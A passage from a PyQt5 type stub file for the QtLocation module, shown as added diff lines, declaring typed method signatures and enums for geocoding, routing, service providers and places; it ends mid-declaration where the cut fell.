Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtPositioning +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QGeoCodeReply(QtCore.QObject): + + class Error(int): + NoError = ... # type: QGeoCodeReply.Error + EngineNotSetError = ... # type: QGeoCodeReply.Error + CommunicationError = ... # type: QGeoCodeReply.Error + ParseError = ... # type: QGeoCodeReply.Error + UnsupportedOptionError = ... # type: QGeoCodeReply.Error + CombinationError = ... # type: QGeoCodeReply.Error + UnknownError = ... # type: QGeoCodeReply.Error + + @typing.overload + def __init__(self, error: 'QGeoCodeReply.Error', errorString: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setOffset(self, offset: int) -> None: ... + def setLimit(self, limit: int) -> None: ... + def setLocations(self, locations: typing.Iterable[QtPositioning.QGeoLocation]) -> None: ... + def addLocation(self, location: QtPositioning.QGeoLocation) -> None: ... + def setViewport(self, viewport: QtPositioning.QGeoShape) -> None: ... + def setFinished(self, finished: bool) -> None: ... + def setError(self, error: 'QGeoCodeReply.Error', errorString: str) -> None: ... + def finished(self) -> None: ... + def aborted(self) -> None: ... + def abort(self) -> None: ... + def offset(self) -> int: ... + def limit(self) -> int: ... + def locations(self) -> typing.List[QtPositioning.QGeoLocation]: ... + def viewport(self) -> QtPositioning.QGeoShape: ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QGeoCodeReply.Error': ... + @typing.overload + def error(self, error: 'QGeoCodeReply.Error', errorString: str = ...) -> None: ... + def isFinished(self) -> bool: ... + + +class QGeoCodingManager(QtCore.QObject): + + def error(self, reply: QGeoCodeReply, error: QGeoCodeReply.Error, errorString: str = ...) -> None: ... + def finished(self, reply: QGeoCodeReply) -> None: ... + def locale(self) -> QtCore.QLocale: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def reverseGeocode(self, coordinate: QtPositioning.QGeoCoordinate, bounds: QtPositioning.QGeoShape = ...) -> QGeoCodeReply: ... + @typing.overload + def geocode(self, address: QtPositioning.QGeoAddress, bounds: QtPositioning.QGeoShape = ...) -> QGeoCodeReply: ... + @typing.overload + def geocode(self, searchString: str, limit: int = ..., offset: int = ..., bounds: QtPositioning.QGeoShape = ...) -> QGeoCodeReply: ... + def managerVersion(self) -> int: ... + def managerName(self) -> str: ... + + +class QGeoCodingManagerEngine(QtCore.QObject): + + def __init__(self, parameters: typing.Dict[str, typing.Any], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def error(self, reply: QGeoCodeReply, error: QGeoCodeReply.Error, errorString: str = ...) -> None: ... + def finished(self, reply: QGeoCodeReply) -> None: ... + def locale(self) -> QtCore.QLocale: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def reverseGeocode(self, coordinate: QtPositioning.QGeoCoordinate, bounds: QtPositioning.QGeoShape) -> QGeoCodeReply: ... + @typing.overload + def geocode(self, address: QtPositioning.QGeoAddress, bounds: QtPositioning.QGeoShape) -> QGeoCodeReply: ... + @typing.overload + def geocode(self, address: str, limit: int, offset: int, bounds: QtPositioning.QGeoShape) -> QGeoCodeReply: ... + def managerVersion(self) -> int: ... + def managerName(self) -> str: ... + + +class QGeoManeuver(sip.simplewrapper): + + class InstructionDirection(int): + NoDirection = ... # type: QGeoManeuver.InstructionDirection + DirectionForward = ... # type: QGeoManeuver.InstructionDirection + DirectionBearRight = ... # type: QGeoManeuver.InstructionDirection + DirectionLightRight = ... # type: QGeoManeuver.InstructionDirection + DirectionRight = ... # type: QGeoManeuver.InstructionDirection + DirectionHardRight = ... # type: QGeoManeuver.InstructionDirection + DirectionUTurnRight = ... # type: QGeoManeuver.InstructionDirection + DirectionUTurnLeft = ... # type: QGeoManeuver.InstructionDirection + DirectionHardLeft = ... # type: QGeoManeuver.InstructionDirection + DirectionLeft = ... # type: QGeoManeuver.InstructionDirection + DirectionLightLeft = ... # type: QGeoManeuver.InstructionDirection + DirectionBearLeft = ... # type: QGeoManeuver.InstructionDirection + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoManeuver') -> None: ... + + def extendedAttributes(self) -> typing.Dict[str, typing.Any]: ... + def setExtendedAttributes(self, extendedAttributes: typing.Dict[str, typing.Any]) -> None: ... + def waypoint(self) -> QtPositioning.QGeoCoordinate: ... + def setWaypoint(self, coordinate: QtPositioning.QGeoCoordinate) -> None: ... + def distanceToNextInstruction(self) -> float: ... + def setDistanceToNextInstruction(self, distance: float) -> None: ... + def timeToNextInstruction(self) -> int: ... + def setTimeToNextInstruction(self, secs: int) -> None: ... + def direction(self) -> 'QGeoManeuver.InstructionDirection': ... + def setDirection(self, direction: 'QGeoManeuver.InstructionDirection') -> None: ... + def instructionText(self) -> str: ... + def setInstructionText(self, instructionText: str) -> None: ... + def position(self) -> QtPositioning.QGeoCoordinate: ... + def setPosition(self, position: QtPositioning.QGeoCoordinate) -> None: ... + def isValid(self) -> bool: ... + + +class QGeoRoute(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoRoute') -> None: ... + + def extendedAttributes(self) -> typing.Dict[str, typing.Any]: ... + def setExtendedAttributes(self, extendedAttributes: typing.Dict[str, typing.Any]) -> None: ... + def routeLegs(self) -> typing.List['QGeoRouteLeg']: ... + def setRouteLegs(self, legs: typing.Iterable['QGeoRouteLeg']) -> None: ... + def path(self) -> typing.List[QtPositioning.QGeoCoordinate]: ... + def setPath(self, path: typing.Iterable[QtPositioning.QGeoCoordinate]) -> None: ... + def travelMode(self) -> 'QGeoRouteRequest.TravelMode': ... + def setTravelMode(self, mode: 'QGeoRouteRequest.TravelMode') -> None: ... + def distance(self) -> float: ... + def setDistance(self, distance: float) -> None: ... + def travelTime(self) -> int: ... + def setTravelTime(self, secs: int) -> None: ... + def firstRouteSegment(self) -> 'QGeoRouteSegment': ... + def setFirstRouteSegment(self, routeSegment: 'QGeoRouteSegment') -> None: ... + def bounds(self) -> QtPositioning.QGeoRectangle: ... + def setBounds(self, bounds: QtPositioning.QGeoRectangle) -> None: ... + def request(self) -> 'QGeoRouteRequest': ... + def setRequest(self, request: 'QGeoRouteRequest') -> None: ... + def routeId(self) -> str: ... + def setRouteId(self, id: str) -> None: ... + + +class QGeoRouteLeg(QGeoRoute): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoRouteLeg') -> None: ... + + def overallRoute(self) -> QGeoRoute: ... + def setOverallRoute(self, route: QGeoRoute) -> None: ... + def legIndex(self) -> int: ... + def setLegIndex(self, idx: int) -> None: ... + + +class QGeoRouteReply(QtCore.QObject): + + class Error(int): + NoError = ... # type: QGeoRouteReply.Error + EngineNotSetError = ... # type: QGeoRouteReply.Error + CommunicationError = ... # type: QGeoRouteReply.Error + ParseError = ... # type: QGeoRouteReply.Error + UnsupportedOptionError = ... # type: QGeoRouteReply.Error + UnknownError = ... # type: QGeoRouteReply.Error + + @typing.overload + def __init__(self, error: 'QGeoRouteReply.Error', errorString: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, request: 'QGeoRouteRequest', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def addRoutes(self, routes: typing.Iterable[QGeoRoute]) -> None: ... + def setRoutes(self, routes: typing.Iterable[QGeoRoute]) -> None: ... + def setFinished(self, finished: bool) -> None: ... + def setError(self, error: 'QGeoRouteReply.Error', errorString: str) -> None: ... + def finished(self) -> None: ... + def aborted(self) -> None: ... + def abort(self) -> None: ... + def routes(self) -> typing.List[QGeoRoute]: ... + def request(self) -> 'QGeoRouteRequest': ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QGeoRouteReply.Error': ... + @typing.overload + def error(self, error: 'QGeoRouteReply.Error', errorString: str = ...) -> None: ... + def isFinished(self) -> bool: ... + + +class QGeoRouteRequest(sip.simplewrapper): + + class ManeuverDetail(int): + NoManeuvers = ... # type: QGeoRouteRequest.ManeuverDetail + BasicManeuvers = ... # type: QGeoRouteRequest.ManeuverDetail + + class SegmentDetail(int): + NoSegmentData = ... # type: QGeoRouteRequest.SegmentDetail + BasicSegmentData = ... # type: QGeoRouteRequest.SegmentDetail + + class RouteOptimization(int): + ShortestRoute = ... # type: QGeoRouteRequest.RouteOptimization + FastestRoute = ... # type: QGeoRouteRequest.RouteOptimization + MostEconomicRoute = ... # type: QGeoRouteRequest.RouteOptimization + MostScenicRoute = ... # type: QGeoRouteRequest.RouteOptimization + + class FeatureWeight(int): + NeutralFeatureWeight = ... # type: QGeoRouteRequest.FeatureWeight + PreferFeatureWeight = ... # type: QGeoRouteRequest.FeatureWeight + RequireFeatureWeight = ... # type: QGeoRouteRequest.FeatureWeight + AvoidFeatureWeight = ... # type: QGeoRouteRequest.FeatureWeight + DisallowFeatureWeight = ... # type: QGeoRouteRequest.FeatureWeight + + class FeatureType(int): + NoFeature = ... # type: QGeoRouteRequest.FeatureType + TollFeature = ... # type: QGeoRouteRequest.FeatureType + HighwayFeature = ... # type: QGeoRouteRequest.FeatureType + PublicTransitFeature = ... # type: QGeoRouteRequest.FeatureType + FerryFeature = ... # type: QGeoRouteRequest.FeatureType + TunnelFeature = ... # type: QGeoRouteRequest.FeatureType + DirtRoadFeature = ... # type: QGeoRouteRequest.FeatureType + ParksFeature = ... # type: QGeoRouteRequest.FeatureType + MotorPoolLaneFeature = ... # type: QGeoRouteRequest.FeatureType + TrafficFeature = ... # type: QGeoRouteRequest.FeatureType + + class TravelMode(int): + CarTravel = ... # type: QGeoRouteRequest.TravelMode + PedestrianTravel = ... # type: QGeoRouteRequest.TravelMode + BicycleTravel = ... # type: QGeoRouteRequest.TravelMode + PublicTransitTravel = ... # type: QGeoRouteRequest.TravelMode + TruckTravel = ... # type: QGeoRouteRequest.TravelMode + + class TravelModes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoRouteRequest.TravelModes', 'QGeoRouteRequest.TravelMode']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoRouteRequest.TravelModes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoRouteRequest.TravelModes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class FeatureTypes(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoRouteRequest.FeatureTypes', 'QGeoRouteRequest.FeatureType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoRouteRequest.FeatureTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoRouteRequest.FeatureTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class FeatureWeights(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoRouteRequest.FeatureWeights', 'QGeoRouteRequest.FeatureWeight']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoRouteRequest.FeatureWeights') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoRouteRequest.FeatureWeights': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class RouteOptimizations(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoRouteRequest.RouteOptimizations', 'QGeoRouteRequest.RouteOptimization']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoRouteRequest.RouteOptimizations') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoRouteRequest.RouteOptimizations': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class SegmentDetails(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoRouteRequest.SegmentDetails', 'QGeoRouteRequest.SegmentDetail']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoRouteRequest.SegmentDetails') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoRouteRequest.SegmentDetails': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ManeuverDetails(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoRouteRequest.ManeuverDetails', 'QGeoRouteRequest.ManeuverDetail']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoRouteRequest.ManeuverDetails') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoRouteRequest.ManeuverDetails': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, waypoints: typing.Iterable[QtPositioning.QGeoCoordinate] = ...) -> None: ... + @typing.overload + def __init__(self, origin: QtPositioning.QGeoCoordinate, destination: QtPositioning.QGeoCoordinate) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoRouteRequest') -> None: ... + + def departureTime(self) -> QtCore.QDateTime: ... + def setDepartureTime(self, departureTime: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def extraParameters(self) -> typing.Dict[str, typing.Any]: ... + def setExtraParameters(self, extraParameters: typing.Dict[str, typing.Any]) -> None: ... + def waypointsMetadata(self) -> typing.List[typing.Dict[str, typing.Any]]: ... + def setWaypointsMetadata(self, waypointMetadata: typing.Iterable[typing.Dict[str, typing.Any]]) -> None: ... + def maneuverDetail(self) -> 'QGeoRouteRequest.ManeuverDetail': ... + def setManeuverDetail(self, maneuverDetail: 'QGeoRouteRequest.ManeuverDetail') -> None: ... + def segmentDetail(self) -> 'QGeoRouteRequest.SegmentDetail': ... + def setSegmentDetail(self, segmentDetail: 'QGeoRouteRequest.SegmentDetail') -> None: ... + def routeOptimization(self) -> 'QGeoRouteRequest.RouteOptimizations': ... + def setRouteOptimization(self, optimization: typing.Union['QGeoRouteRequest.RouteOptimizations', 'QGeoRouteRequest.RouteOptimization']) -> None: ... + def featureTypes(self) -> typing.List['QGeoRouteRequest.FeatureType']: ... + def featureWeight(self, featureType: 'QGeoRouteRequest.FeatureType') -> 'QGeoRouteRequest.FeatureWeight': ... + def setFeatureWeight(self, featureType: 'QGeoRouteRequest.FeatureType', featureWeight: 'QGeoRouteRequest.FeatureWeight') -> None: ... + def travelModes(self) -> 'QGeoRouteRequest.TravelModes': ... + def setTravelModes(self, travelModes: typing.Union['QGeoRouteRequest.TravelModes', 'QGeoRouteRequest.TravelMode']) -> None: ... + def numberAlternativeRoutes(self) -> int: ... + def setNumberAlternativeRoutes(self, alternatives: int) -> None: ... + def excludeAreas(self) -> typing.List[QtPositioning.QGeoRectangle]: ... + def setExcludeAreas(self, areas: typing.Iterable[QtPositioning.QGeoRectangle]) -> None: ... + def waypoints(self) -> typing.List[QtPositioning.QGeoCoordinate]: ... + def setWaypoints(self, waypoints: typing.Iterable[QtPositioning.QGeoCoordinate]) -> None: ... + + +class QGeoRouteSegment(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoRouteSegment') -> None: ... + + def isLegLastSegment(self) -> bool: ... + def maneuver(self) -> QGeoManeuver: ... + def setManeuver(self, maneuver: QGeoManeuver) -> None: ... + def path(self) -> typing.List[QtPositioning.QGeoCoordinate]: ... + def setPath(self, path: typing.Iterable[QtPositioning.QGeoCoordinate]) -> None: ... + def distance(self) -> float: ... + def setDistance(self, distance: float) -> None: ... + def travelTime(self) -> int: ... + def setTravelTime(self, secs: int) -> None: ... + def nextRouteSegment(self) -> 'QGeoRouteSegment': ... + def setNextRouteSegment(self, routeSegment: 'QGeoRouteSegment') -> None: ... + def isValid(self) -> bool: ... + + +class QGeoRoutingManager(QtCore.QObject): + + def error(self, reply: QGeoRouteReply, error: QGeoRouteReply.Error, errorString: str = ...) -> None: ... + def finished(self, reply: QGeoRouteReply) -> None: ... + def measurementSystem(self) -> QtCore.QLocale.MeasurementSystem: ... + def setMeasurementSystem(self, system: QtCore.QLocale.MeasurementSystem) -> None: ... + def locale(self) -> QtCore.QLocale: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def supportedManeuverDetails(self) -> QGeoRouteRequest.ManeuverDetails: ... + def supportedSegmentDetails(self) -> QGeoRouteRequest.SegmentDetails: ... + def supportedRouteOptimizations(self) -> QGeoRouteRequest.RouteOptimizations: ... + def supportedFeatureWeights(self) -> QGeoRouteRequest.FeatureWeights: ... + def supportedFeatureTypes(self) -> QGeoRouteRequest.FeatureTypes: ... + def supportedTravelModes(self) -> QGeoRouteRequest.TravelModes: ... + def updateRoute(self, route: QGeoRoute, position: QtPositioning.QGeoCoordinate) -> QGeoRouteReply: ... + def calculateRoute(self, request: QGeoRouteRequest) -> QGeoRouteReply: ... + def managerVersion(self) -> int: ... + def managerName(self) -> str: ... + + +class QGeoRoutingManagerEngine(QtCore.QObject): + + def __init__(self, parameters: typing.Dict[str, typing.Any], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setSupportedManeuverDetails(self, maneuverDetails: typing.Union[QGeoRouteRequest.ManeuverDetails, QGeoRouteRequest.ManeuverDetail]) -> None: ... + def setSupportedSegmentDetails(self, segmentDetails: typing.Union[QGeoRouteRequest.SegmentDetails, QGeoRouteRequest.SegmentDetail]) -> None: ... + def setSupportedRouteOptimizations(self, optimizations: typing.Union[QGeoRouteRequest.RouteOptimizations, QGeoRouteRequest.RouteOptimization]) -> None: ... + def setSupportedFeatureWeights(self, featureWeights: typing.Union[QGeoRouteRequest.FeatureWeights, QGeoRouteRequest.FeatureWeight]) -> None: ... + def setSupportedFeatureTypes(self, featureTypes: typing.Union[QGeoRouteRequest.FeatureTypes, QGeoRouteRequest.FeatureType]) -> None: ... + def setSupportedTravelModes(self, travelModes: typing.Union[QGeoRouteRequest.TravelModes, QGeoRouteRequest.TravelMode]) -> None: ... + def error(self, reply: QGeoRouteReply, error: QGeoRouteReply.Error, errorString: str = ...) -> None: ... + def finished(self, reply: QGeoRouteReply) -> None: ... + def measurementSystem(self) -> QtCore.QLocale.MeasurementSystem: ... + def setMeasurementSystem(self, system: QtCore.QLocale.MeasurementSystem) -> None: ... + def locale(self) -> QtCore.QLocale: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def supportedManeuverDetails(self) -> QGeoRouteRequest.ManeuverDetails: ... + def supportedSegmentDetails(self) -> QGeoRouteRequest.SegmentDetails: ... + def supportedRouteOptimizations(self) -> QGeoRouteRequest.RouteOptimizations: ... + def supportedFeatureWeights(self) -> QGeoRouteRequest.FeatureWeights: ... + def supportedFeatureTypes(self) -> QGeoRouteRequest.FeatureTypes: ... + def supportedTravelModes(self) -> QGeoRouteRequest.TravelModes: ... + def updateRoute(self, route: QGeoRoute, position: QtPositioning.QGeoCoordinate) -> QGeoRouteReply: ... + def calculateRoute(self, request: QGeoRouteRequest) -> QGeoRouteReply: ... + def managerVersion(self) -> int: ... + def managerName(self) -> str: ... + + +class QNavigationManager(sip.simplewrapper): ... + + +class QGeoServiceProvider(QtCore.QObject): + + class NavigationFeature(int): + NoNavigationFeatures = ... # type: QGeoServiceProvider.NavigationFeature + OnlineNavigationFeature = ... # type: QGeoServiceProvider.NavigationFeature + OfflineNavigationFeature = ... # type: QGeoServiceProvider.NavigationFeature + AnyNavigationFeatures = ... # type: QGeoServiceProvider.NavigationFeature + + class PlacesFeature(int): + NoPlacesFeatures = ... # type: QGeoServiceProvider.PlacesFeature + OnlinePlacesFeature = ... # type: QGeoServiceProvider.PlacesFeature + OfflinePlacesFeature = ... # type: QGeoServiceProvider.PlacesFeature + SavePlaceFeature = ... # type: QGeoServiceProvider.PlacesFeature + RemovePlaceFeature = ... # type: QGeoServiceProvider.PlacesFeature + SaveCategoryFeature = ... # type: QGeoServiceProvider.PlacesFeature + RemoveCategoryFeature = ... # type: QGeoServiceProvider.PlacesFeature + PlaceRecommendationsFeature = ... # type: QGeoServiceProvider.PlacesFeature + SearchSuggestionsFeature = ... # type: QGeoServiceProvider.PlacesFeature + LocalizedPlacesFeature = ... # type: QGeoServiceProvider.PlacesFeature + NotificationsFeature = ... # type: QGeoServiceProvider.PlacesFeature + PlaceMatchingFeature = ... # type: QGeoServiceProvider.PlacesFeature + AnyPlacesFeatures = ... # type: QGeoServiceProvider.PlacesFeature + + class MappingFeature(int): + NoMappingFeatures = ... # type: QGeoServiceProvider.MappingFeature + OnlineMappingFeature = ... # type: QGeoServiceProvider.MappingFeature + OfflineMappingFeature = ... # type: QGeoServiceProvider.MappingFeature + LocalizedMappingFeature = ... # type: QGeoServiceProvider.MappingFeature + AnyMappingFeatures = ... # type: QGeoServiceProvider.MappingFeature + + class GeocodingFeature(int): + NoGeocodingFeatures = ... # type: QGeoServiceProvider.GeocodingFeature + OnlineGeocodingFeature = ... # type: QGeoServiceProvider.GeocodingFeature + OfflineGeocodingFeature = ... # type: QGeoServiceProvider.GeocodingFeature + ReverseGeocodingFeature = ... # type: QGeoServiceProvider.GeocodingFeature + LocalizedGeocodingFeature = ... # type: QGeoServiceProvider.GeocodingFeature + AnyGeocodingFeatures = ... # type: QGeoServiceProvider.GeocodingFeature + + class RoutingFeature(int): + NoRoutingFeatures = ... # type: QGeoServiceProvider.RoutingFeature + OnlineRoutingFeature = ... # type: QGeoServiceProvider.RoutingFeature + OfflineRoutingFeature = ... # type: QGeoServiceProvider.RoutingFeature + LocalizedRoutingFeature = ... # type: QGeoServiceProvider.RoutingFeature + RouteUpdatesFeature = ... # type: QGeoServiceProvider.RoutingFeature + AlternativeRoutesFeature = ... # type: QGeoServiceProvider.RoutingFeature + ExcludeAreasRoutingFeature = ... # type: QGeoServiceProvider.RoutingFeature + AnyRoutingFeatures = ... # type: QGeoServiceProvider.RoutingFeature + + class Error(int): + NoError = ... # type: QGeoServiceProvider.Error + NotSupportedError = ... # type: QGeoServiceProvider.Error + UnknownParameterError = ... # type: QGeoServiceProvider.Error + MissingRequiredParameterError = ... # type: QGeoServiceProvider.Error + ConnectionError = ... # type: QGeoServiceProvider.Error + LoaderError = ... # type: QGeoServiceProvider.Error + + class RoutingFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoServiceProvider.RoutingFeatures', 'QGeoServiceProvider.RoutingFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoServiceProvider.RoutingFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoServiceProvider.RoutingFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class GeocodingFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoServiceProvider.GeocodingFeatures', 'QGeoServiceProvider.GeocodingFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoServiceProvider.GeocodingFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoServiceProvider.GeocodingFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class MappingFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoServiceProvider.MappingFeatures', 'QGeoServiceProvider.MappingFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoServiceProvider.MappingFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoServiceProvider.MappingFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class PlacesFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoServiceProvider.PlacesFeatures', 'QGeoServiceProvider.PlacesFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoServiceProvider.PlacesFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoServiceProvider.PlacesFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class NavigationFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoServiceProvider.NavigationFeatures', 'QGeoServiceProvider.NavigationFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoServiceProvider.NavigationFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoServiceProvider.NavigationFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, providerName: str, parameters: typing.Dict[str, typing.Any] = ..., allowExperimental: bool = ...) -> None: ... + + def navigationErrorString(self) -> str: ... + def navigationError(self) -> 'QGeoServiceProvider.Error': ... + def placesErrorString(self) -> str: ... + def placesError(self) -> 'QGeoServiceProvider.Error': ... + def routingErrorString(self) -> str: ... + def routingError(self) -> 'QGeoServiceProvider.Error': ... + def geocodingErrorString(self) -> str: ... + def geocodingError(self) -> 'QGeoServiceProvider.Error': ... + def mappingErrorString(self) -> str: ... + def mappingError(self) -> 'QGeoServiceProvider.Error': ... + def navigationManager(self) -> QNavigationManager: ... + def navigationFeatures(self) -> 'QGeoServiceProvider.NavigationFeatures': ... + def setAllowExperimental(self, allow: bool) -> None: ... + def setLocale(self, locale: QtCore.QLocale) -> None: ... + def setParameters(self, parameters: typing.Dict[str, typing.Any]) -> None: ... + def errorString(self) -> str: ... + def error(self) -> 'QGeoServiceProvider.Error': ... + def placeManager(self) -> 'QPlaceManager': ... + def routingManager(self) -> QGeoRoutingManager: ... + def geocodingManager(self) -> QGeoCodingManager: ... + def placesFeatures(self) -> 'QGeoServiceProvider.PlacesFeatures': ... + def mappingFeatures(self) -> 'QGeoServiceProvider.MappingFeatures': ... + def geocodingFeatures(self) -> 'QGeoServiceProvider.GeocodingFeatures': ... + def routingFeatures(self) -> 'QGeoServiceProvider.RoutingFeatures': ... + @staticmethod + def availableServiceProviders() -> typing.List[str]: ... + + +class QLocation(PyQt5.sip.simplewrapper): + + class Visibility(int): + UnspecifiedVisibility = ... # type: QLocation.Visibility + DeviceVisibility = ... # type: QLocation.Visibility + PrivateVisibility = ... # type: QLocation.Visibility + PublicVisibility = ... # type: QLocation.Visibility + + class VisibilityScope(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLocation.VisibilityScope', 'QLocation.Visibility']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLocation.VisibilityScope') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLocation.VisibilityScope': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + +class QPlace(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QPlace') -> None: ... + + def isEmpty(self) -> bool: ... + def setVisibility(self, visibility: QLocation.Visibility) -> None: ... + def visibility(self) -> QLocation.Visibility: ... + def removeContactDetails(self, contactType: str) -> None: ... + def appendContactDetail(self, contactType: str, detail: 'QPlaceContactDetail') -> None: ... + def setContactDetails(self, contactType: str, details: typing.Iterable['QPlaceContactDetail']) -> None: ... + def contactDetails(self, contactType: str) -> typing.List['QPlaceContactDetail']: ... + def contactTypes(self) -> typing.List[str]: ... + def removeExtendedAttribute(self, attributeType: str) -> None: ... + def setExtendedAttribute(self, attributeType: str, attribute: 'QPlaceAttribute') -> None: ... + def extendedAttribute(self, attributeType: str) -> 'QPlaceAttribute': ... + def extendedAttributeTypes(self) -> typing.List[str]: ... + def setDetailsFetched(self, fetched: bool) -> None: ... + def detailsFetched(self) -> bool: ... + def primaryWebsite(self) -> QtCore.QUrl: ... + def primaryEmail(self) -> str: ... + def primaryFax(self) -> str: ... + def primaryPhone(self) -> str: ... + def setPlaceId(self, identifier: str) -> None: ... + def placeId(self) -> str: ... + def setName(self, name: str) -> None: ... + def name(self) -> str: ... + def setTotalContentCount(self, type: 'QPlaceContent.Type', total: int) -> None: ... + def totalContentCount(self, type: 'QPlaceContent.Type') -> int: ... + def insertContent(self, type: 'QPlaceContent.Type', content: typing.Dict[int, 'QPlaceContent']) -> None: ... + def setContent(self, type: 'QPlaceContent.Type', content: typing.Dict[int, 'QPlaceContent']) -> None: ... + def content(self, type: 'QPlaceContent.Type') -> typing.Dict[int, 'QPlaceContent']: ... + def setIcon(self, icon: 'QPlaceIcon') -> None: ... + def icon(self) -> 'QPlaceIcon': ... + def setAttribution(self, attribution: str) -> None: ... + def attribution(self) -> str: ... + def setSupplier(self, supplier: 'QPlaceSupplier') -> None: ... + def supplier(self) -> 